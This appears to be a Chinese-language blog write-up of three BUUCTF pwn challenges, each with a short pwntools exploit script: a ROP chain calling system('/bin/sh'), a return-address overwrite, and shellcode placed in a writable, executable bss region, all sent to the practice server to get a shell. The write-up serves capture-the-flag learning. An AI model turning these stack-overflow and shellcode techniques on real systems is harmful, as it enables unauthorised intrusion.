//
xiaoaoaode
Published on 2020-08-16 / 462 Visits
0

BUUCTF-Pwn题-Writeup(3)

(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)

[HarekazeCTF2019]baby_rop 题

程序保护信息:

image-20200816174850636

经典栈溢出题,有system函数,/bin/sh字符串:

image-20200816175019020

解题脚本:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)

binsh_add = 0x601048
system_plt = 0x400490
pop_rdi = 0x400683
payload = 'A' * 0x10 + p64(0) + p64(pop_rdi) + p64(0x60104d) + p64(system_plt)
p.sendlineafter('name?', payload)
p.interactive()

总结

难度:★★

本来这道题是常规题,但是我却解了很长的时间,因为最开始获得shell的时候我没发现flag文件在哪里,最近再来写的时候突然发现了正确位置/home/babyrop/flag,一开始我切换到home目录后以为那个babyrop就是本题的程序,后来想起了ls -al命令列出的image-20200816180046847开头的d表示目录,我还是对Linux命令不够熟悉。

bjdctf_2020_babystack 题

程序保护信息:

image-20200816181214569

经典栈溢出题。

解题脚本:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = remote('node3.buuoj.cn', 25525)

payload = 'A' * 0x10 + p64(0) + p64(0x4006E6)
p.sendlineafter('name:\n', '-1')
p.sendlineafter('name?\n', payload)
p.interactive()

总结

难度:★

简单题。

ciscn_2019_n_5 题

程序保护信息:

image-20200816222918861

main函数:

image-20200816223000134

很明显,可以读一定数据到name处,由调试可知,name属于bss段,且可读、写和执行,所以可以将shellcode放入name这个位置,因为下方还有一个gets函数可以栈溢出,而且程序没开PIE所以可以通过覆盖返回地址转到name位置。

解题脚本:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 00000)

payload = 'A' * 0x20 + p64(0) + p64(0x601080)
p.sendlineafter('name\n', asm(shellcraft.sh()))
p.sendlineafter('me?\n', payload)
p.interactive()

总结

难度:★

ret2shellcode的应用